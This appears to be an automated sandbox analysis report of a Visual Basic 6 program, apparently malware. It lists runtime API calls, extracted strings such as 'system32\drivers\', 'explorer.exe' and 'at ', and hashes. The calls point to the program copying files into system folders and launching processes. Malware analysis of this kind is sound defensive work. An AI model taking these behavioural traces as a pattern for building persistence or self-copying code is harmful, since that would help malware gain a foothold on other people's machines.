Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(00000000,?,?,?,00000000,004032B6), ref: 00429744
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042974F
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(explorer.exe, ,00000000,?,?,?,00000000,004032B6), ref: 00429761
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042976C
Part of subcall function 004296C0: __vbaStrCat.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429779
Part of subcall function 004296C0: __vbaStrMove.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429784
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 00429792
Part of subcall function 004296C0: __vbaStrCopy.MSVBVM60(?,00000000,?,?,?,00000000,004032B6), ref: 004297A0
Part of subcall function 004296C0: __vbaFreeStrList.MSVBVM60(00000007,?,?,?,00000000,?,?,?,00000000,?,?,?,?,00000000), ref: 004297D9

__vbaStrMove.MSVBVM60 ref: 0040B4C8

Part of subcall function 0042A090: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CA73,80000002,00000000), ref: 0042A0AE
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0DB
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0E7
Part of subcall function 0042A090: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A0F3
Part of subcall function 0042A090: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042A102
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,?,?,?,?,00000000,004032B6), ref: 0042A11B
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(80000002,00000000,?,?,?,00000000,004032B6), ref: 0042A12B
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A139
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042A142
Part of subcall function 0042A090: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 0042A153
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(?,?,00000000,?,?,?,00000000,004032B6), ref: 0042A162
Part of subcall function 0042A090: __vbaStrToAnsi.MSVBVM60(00000001,?,00000000,00000001,00000000,?,?,?,00000000,004032B6), ref: 0042A175
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(00000000,00000000,?,?,?,00000000,004032B6), ref: 0042A185
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A193
Part of subcall function 0042A090: __vbaStrToUnicode.MSVBVM60(?,?,?,?,?,00000000,004032B6), ref: 0042A1A1
Part of subcall function 0042A090: __vbaFreeStrList.MSVBVM60(00000002,?,?,?,?,?,00000000,004032B6), ref: 0042A1B1
Part of subcall function 0042A090: __vbaSetSystemError.MSVBVM60(?,?,00000000,004032B6), ref: 0042A1CA
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(0042A207,?,00000000,004032B6), ref: 0042A1EE
Part of subcall function 0042A090: __vbaFreeStr.MSVBVM60(?,00000000,004032B6), ref: 0042A1F7

__vbaStrCmp.MSVBVM60(00406F28,?), ref: 0040B56A
#580.MSVBVM60(00000000,00000027,00000000,00000000,Function_0002C0D4,00000000), ref: 0040B5CC
__vbaStrCat.MSVBVM60( RU,00000000,00000000), ref: 0040B5E5
__vbaStrMove.MSVBVM60 ref: 0040B5F0
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B611
__vbaStrCat.MSVBVM60( RU,00000000), ref: 0040B62A
__vbaStrMove.MSVBVM60 ref: 0040B635
__vbaFreeStr.MSVBVM60(80000002,00000000,00000000,00000000), ref: 0040B656
#600.MSVBVM60(00004008,00000000,Function_0002C0D4), ref: 0040B691
__vbaEnd.MSVBVM60 ref: 0040B6A4
__vbaStrCopy.MSVBVM60 ref: 0040BA01
__vbaStrMove.MSVBVM60(?), ref: 0040BA15
__vbaStrCopy.MSVBVM60 ref: 0040BA22
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040BA32
__vbaStrCopy.MSVBVM60 ref: 0040BA4A
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040B413

Part of subcall function 004228E0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
Part of subcall function 004228E0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
Part of subcall function 004228E0: #648.MSVBVM60(0000000A), ref: 00422959
Part of subcall function 004228E0: __vbaFreeVar.MSVBVM60 ref: 00422968
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60(?), ref: 0042297C
Part of subcall function 004228E0: __vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 0042299A
Part of subcall function 004228E0: #570.MSVBVM60(00000000), ref: 004229A1
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
Part of subcall function 004228E0: __vbaLenBstr.MSVBVM60(0040545C), ref: 004229E5
Part of subcall function 004228E0: #525.MSVBVM60(00000000), ref: 004229EC
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60 ref: 004229F7
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A07
Part of subcall function 004228E0: __vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00422A12
Part of subcall function 004228E0: __vbaI2I4.MSVBVM60 ref: 00422A22
Part of subcall function 004228E0: __vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00422A2F
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(?), ref: 00422A4A
Part of subcall function 004228E0: __vbaStrCopy.MSVBVM60 ref: 00422A68
Part of subcall function 004228E0: __vbaStrMove.MSVBVM60(00000003), ref: 00422A79
Part of subcall function 004228E0: #616.MSVBVM60(00000000), ref: 00422A80

#580.MSVBVM60(00000000,00000027,00000000,00000000,0042C0F4,00000000,0042C0D4), ref: 0040CB52
__vbaStrCat.MSVBVM60( MR,00000000,0042C110,0042C114,0042C118,00000000,0042C0D4), ref: 0040CB7A
__vbaStrMove.MSVBVM60 ref: 0040CB85
__vbaFreeStr.MSVBVM60(00000000), ref: 0040CB94
__vbaStrCopy.MSVBVM60(80000002,00000000,00000000,80000002,00000000,00000000), ref: 0040CBE5
__vbaStrMove.MSVBVM60 ref: 0040B2E7

Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 0041189C
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(004118D5), ref: 004118CE

__vbaStrCopy.MSVBVM60 ref: 0040B1D7

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrCopy.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,Function_000032B6), ref: 0040B0E4

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 0040CBF9
__vbaStrCopy.MSVBVM60 ref: 0040CC06
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC16
__vbaStrCopy.MSVBVM60 ref: 0040CC2E
__vbaStrMove.MSVBVM60(?), ref: 0040CC42
__vbaStrCopy.MSVBVM60 ref: 0040CC4F
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CC5F
__vbaStrCopy.MSVBVM60 ref: 0040CC77
__vbaStrMove.MSVBVM60(?), ref: 0040CC8B
__vbaStrCopy.MSVBVM60 ref: 0040CC98
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCA8
__vbaStrCopy.MSVBVM60 ref: 0040CCC0
__vbaStrMove.MSVBVM60(?), ref: 0040CCD4
__vbaStrCopy.MSVBVM60 ref: 0040CCE1
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CCF1
__vbaStrCopy.MSVBVM60 ref: 0040CD09
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD1B
__vbaStrMove.MSVBVM60 ref: 0040CD26
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CD3B
__vbaStrCat.MSVBVM60(00000000), ref: 0040CD42
__vbaStrMove.MSVBVM60 ref: 0040CD4D
__vbaStrCopy.MSVBVM60 ref: 0040CD5A
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CD72
__vbaStrCopy.MSVBVM60 ref: 0040CD8A
__vbaStrCat.MSVBVM60(system\,00000000), ref: 0040CD9C
__vbaStrMove.MSVBVM60 ref: 0040CDA7
__vbaStrMove.MSVBVM60(?,00000000), ref: 0040CDBC
__vbaStrCat.MSVBVM60(00000000), ref: 0040CDC3
__vbaStrMove.MSVBVM60 ref: 0040CDCE
__vbaStrCopy.MSVBVM60 ref: 0040CDDB
__vbaFreeStrList.MSVBVM60(00000004,?,?,?,?), ref: 0040CDF3
__vbaStrCat.MSVBVM60(at.,00000000), ref: 0040CE0F
__vbaStrMove.MSVBVM60 ref: 0040CE1A
__vbaStrCat.MSVBVM60(00000000,00000000), ref: 0040CE28
__vbaStrMove.MSVBVM60 ref: 0040CE33
__vbaStrCopy.MSVBVM60 ref: 0040CE40
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE50
__vbaStrCopy.MSVBVM60 ref: 0040CE68
__vbaStrMove.MSVBVM60(?), ref: 0040CE7C
__vbaStrCopy.MSVBVM60 ref: 0040CE89
__vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 0040CE99

Part of subcall function 00411F00: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,?,0040CEB3,0042C160), ref: 00411F1E
Part of subcall function 00411F00: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00411F4E
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(0040CEB3,?,?,?,00000000,004032B6), ref: 00411F69
Part of subcall function 00411F00: __vbaStrMove.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F7D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60(?,?,?,00000000,004032B6), ref: 00411F86
Part of subcall function 00411F00: __vbaLenBstr.MSVBVM60(?,?,?,?,00000000,004032B6), ref: 00411F97
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?,004156AF), ref: 0041565A
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415667
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415674
Part of subcall function 00411F00: __vbaAryUnlock.MSVBVM60(?), ref: 00415681
Part of subcall function 00411F00: __vbaAryDestruct.MSVBVM60(00000000,?), ref: 0041568D
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 00415696
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 0041569F
Part of subcall function 00411F00: __vbaFreeStr.MSVBVM60 ref: 004156A8

__vbaObjSet.MSVBVM60(?,00000000), ref: 0040CEE1
__vbaHresultCheckObj.MSVBVM60(00000000,?,00407978,0000005C), ref: 0040CF27
__vbaFreeObj.MSVBVM60 ref: 0040CF42
__vbaFreeStr.MSVBVM60(0040CFB1), ref: 0040CFA1
__vbaFreeStr.MSVBVM60 ref: 0040CFAA

Part of subcall function 004115D0: __vbaErase.MSVBVM60(004065BC,0042C078,0000000A,-00000061,6D16DF85), ref: 00411B74
Part of subcall function 004115D0: __vbaRedim.MSVBVM60(00000000,00000024,0042C078,004065BC,00000001,00000003,00000001), ref: 00411B97
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411BAA
Part of subcall function 004115D0: __vbaGenerateBoundsError.MSVBVM60 ref: 00411BCE
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411BFE
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?), ref: 00411C14
Part of subcall function 004115D0: __vbaStrCopy.MSVBVM60 ref: 00411C1A
Part of subcall function 004115D0: __vbaFreeStrList.MSVBVM60(00000002,?,?), ref: 00411C2C
Part of subcall function 004115D0: __vbaAryUnlock.MSVBVM60(?), ref: 00411C3E
Part of subcall function 004115D0: __vbaAryLock.MSVBVM60(?,00000000), ref: 00411C4F

__vbaErrorOverflow.MSVBVM60 ref: 0040CFD8
__vbaChkstk.MSVBVM60(00000000,Function_000032B6), ref: 0040CFFE
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 0040D02E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00406330,00000728), ref: 0040D081
__vbaHresultCheckObj.MSVBVM60(00000000,?,004077C4,0000001C), ref: 0040D0C9
__vbaI2I4.MSVBVM60 ref: 0040D0ED
__vbaFreeObj.MSVBVM60 ref: 0040D0FA
__vbaObjSet.MSVBVM60(?,00000000), ref: 0040D164

Strings

yLZ, xrefs: 0040C34F
~, xrefs: 0040C4DC
:%7, xrefs: 0040BE17
Once, xrefs: 0040CA52, 0040CAB8
RU, xrefs: 0040B4B8, 0040B4FD, 0040B5E0, 0040B625
at., xrefs: 0040CE0A
PR, xrefs: 0040C1CD
system32\drivers\, xrefs: 0040BEF6
RO, xrefs: 0040CA2D, 0040CA94
system\, xrefs: 0040B12C, 0040B21E, 0040B2D7, 0040B358, 0040BB8E, 0040BE75, 0040C003, 0040C0AD, 0040CD16, 0040CD97
at , xrefs: 0040C534
SE, xrefs: 0040BD75
MR, xrefs: 0040CB75

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Move$Free$Copy$List$Error$CheckHresult$Bstr$ChkstkSystem$AnsiNew2Unicode$#580$#525#600File$#517#537#616Unlock$#631$#516#570#648Open$#618#690Get3LockNameSeek$#529#535#598#611#661#669#705#709BoundsCloseComputerDestructEraseFromGenerateGet4OverflowPathRedimUser
String ID: MR$ PR$ RO$ RU$ SE$:%7$Once$at $at.$system32\drivers\$system\$yLZ$~
API String ID: 3992495243-2767012170
Opcode ID: f07abc42d15e68f180082aaadbe1cf2b9feecb042b4ed6404e63149fe327f583
Instruction ID: c9e735e97b199634a30fa5df19e6cf838b9fc4480779932f55755727901e6869
Opcode Fuzzy Hash: f07abc42d15e68f180082aaadbe1cf2b9feecb042b4ed6404e63149fe327f583
Instruction Fuzzy Hash: D2531A75A00208EFDB14DFA0EE89BDEBBB5EF48304F108169E506B72A0DB745A45CF59

Function 004218D0 Relevance: 161.5, APIs: 91, Strings: 1, Instructions: 456
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,Function_000032B6,?,?,?,0040C78D,00000000,00000000), ref: 004218EE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 0042191B
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421927
__vbaStrCopy.MSVBVM60(?,?,?,00000000,Function_000032B6), ref: 00421933
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,Function_000032B6), ref: 00421942
#648.MSVBVM60(0000000A), ref: 00421961
__vbaFreeVar.MSVBVM60 ref: 00421970
__vbaI2I4.MSVBVM60(?), ref: 00421984
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 00421992
__vbaI2I4.MSVBVM60 ref: 004219A2
#570.MSVBVM60(00000000), ref: 004219A9
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219B6
__vbaLenBstr.MSVBVM60(Function_0000545C), ref: 004219ED
#525.MSVBVM60(00000000), ref: 004219F4
__vbaStrMove.MSVBVM60 ref: 004219FF
__vbaI2I4.MSVBVM60 ref: 00421A0F
__vbaFileSeek.MSVBVM60(00000004,00000000), ref: 00421A1A
__vbaI2I4.MSVBVM60 ref: 00421A2A
__vbaGet3.MSVBVM60(00000000,?,00000000), ref: 00421A37
__vbaStrCopy.MSVBVM60 ref: 00421A4C

Part of subcall function 004115D0: __vbaLenBstr.MSVBVM60(00000000), ref: 0041160D
Part of subcall function 004115D0: #631.MSVBVM60(?,?,?), ref: 00411658
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,?), ref: 00411663
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,?), ref: 0041166A
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,?), ref: 004116C8
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,?), ref: 004116D1
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,?), ref: 00411701
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,?), ref: 0041170C
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,?), ref: 00411713

__vbaStrMove.MSVBVM60(?), ref: 00421A60

Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,?), ref: 0041176F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,?), ref: 00411778
Part of subcall function 004115D0: #631.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117A9
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 004117B4
Part of subcall function 004115D0: #516.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 004117BB
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 0041180F
Part of subcall function 004115D0: __vbaFreeVar.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411818
Part of subcall function 004115D0: #537.MSVBVM60(-0000000C,?,?,?,00000002,?,?,00000002,?,?,?), ref: 00411853
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411864
Part of subcall function 004115D0: __vbaStrCat.MSVBVM60(00000000,?,?,00000002,?,?,00000002,?,?,?), ref: 00411867
Part of subcall function 004115D0: __vbaStrMove.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411872
Part of subcall function 004115D0: __vbaFreeStr.MSVBVM60(?,?,00000002,?,?,00000002,?,?,?), ref: 00411877

__vbaStrMove.MSVBVM60(?,00000000), ref: 00421A75
__vbaStrCmp.MSVBVM60(00000000), ref: 00421A7C
__vbaFreeStrList.MSVBVM60(00000003,?,?,?), ref: 00421A9E
__vbaI2I4.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00421ACB
__vbaFileClose.MSVBVM60(00000000,?,?,00000000,Function_000032B6), ref: 00421AD2
__vbaI2I4.MSVBVM60 ref: 00421AE9
__vbaFileClose.MSVBVM60(00000000), ref: 00421AF0
__vbaI2I4.MSVBVM60 ref: 00421B1B
__vbaFileSeek.MSVBVM60(?,00000000), ref: 00421B26
__vbaI2I4.MSVBVM60 ref: 00421B36
__vbaGet3.MSVBVM60(00000004,?,00000000), ref: 00421B43
__vbaI2I4.MSVBVM60 ref: 00421B72
__vbaFileSeek.MSVBVM60(00000001,00000000), ref: 00421B7B

Part of subcall function 00415AF0: __vbaChkstk.MSVBVM60(00000000,004032B6,?,?,0040CB29,0042C0F4,00000000,0042C0D4), ref: 00415B0E
Part of subcall function 00415AF0: __vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 00415B3E
Part of subcall function 00415AF0: #580.MSVBVM60(00000000,00000000,00000000,?,?,?,00000000,004032B6), ref: 00415B6A
Part of subcall function 00415AF0: #529.MSVBVM60(00004008), ref: 00415B88

#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BAA
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BB9
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BCD
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BDB
#525.MSVBVM60(00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BED
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421BF8
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C51
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C5E
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C6E
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421C7B
#525.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CB9
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CC4
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CD4
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CE1
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CF1
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421CFE
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D20
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D27
#648.MSVBVM60(0000000A,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D56
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D65
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D79
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D87
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D97
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421D9E
#580.MSVBVM60(?,00000026,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DB1
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DC5
__vbaFileOpen.MSVBVM60(00000220,000000FF,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DD3
#525.MSVBVM60(00001000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DE5
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421DF0
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E49
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E56
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E66
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421E73
#525.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EB1
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EBC
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421ECC
__vbaGet3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421ED9
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EE9
__vbaPut3.MSVBVM60(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421EF6
#598.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F10
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F25
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F2C
__vbaI2I4.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F3C
__vbaFileClose.MSVBVM60(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F43
__vbaStrCat.MSVBVM60(004086A8,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F59
__vbaStrMove.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F64
__vbaStrCat.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F71
#600.MSVBVM60(00000008,00000001,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F87
__vbaFreeStr.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F96
__vbaFreeVar.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?), ref: 00421F9F
#600.MSVBVM60(00004008,00000000), ref: 00421FC5
__vbaFreeStr.MSVBVM60(00422028), ref: 00421FFD
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422006
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 0042200F
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422018
__vbaFreeStr.MSVBVM60(?,?,00000000,Function_000032B6), ref: 00422021
__vbaErrorOverflow.MSVBVM60 ref: 0042203F

Strings

E, xrefs: 00421FA5

Memory Dump Source

Source File: 00000005.00000002.2360436871.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_AddInProcess32.jbxd

Similarity

API ID: __vba$Free$FileMove$CloseGet3$#525$CopyOpenPut3$#516#631#648BstrErrorSeek$#580#600Chkstk$#529#537#570#598ListOverflow
String ID: E
API String ID: 1020712489-3568589458
Opcode ID: e30390b13401d8740a51cfed368d7318d61a24e8952c146724dfd520706d3ec2
Instruction ID: 07c48357a9df06a9d6fdd80bdbc38809ff137e737b5eacf3c703d77614347229
Opcode Fuzzy Hash: e30390b13401d8740a51cfed368d7318d61a24e8952c146724dfd520706d3ec2
Instruction Fuzzy Hash: FC22D571900248EBDB04DFE0EA4CBDEBB74FF48305F208169E602BB2A5DBB55A45CB14

Function 004228E0 Relevance: 54.2, APIs: 36, Instructions: 195
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__vbaChkstk.MSVBVM60(00000000,004032B6,?,?,?,0040CB10,00000000,0042C0D4), ref: 004228FE
__vbaStrCopy.MSVBVM60(?,?,?,00000000,004032B6), ref: 0042292B
__vbaOnError.MSVBVM60(000000FF,?,?,?,00000000,004032B6), ref: 0042293A
#648.MSVBVM60(0000000A), ref: 00422959
__vbaFreeVar.MSVBVM60 ref: 00422968
__vbaI2I4.MSVBVM60(?), ref: 0042297C
__vbaFileOpen.MSVBVM60(00000120,000000FF,00000000), ref: 0042298A
__vbaI2I4.MSVBVM60 ref: 0042299A
#570.MSVBVM60(00000000), ref: 004229A1
__vbaLenBstr.MSVBVM60(0040545C), ref: 004229AE
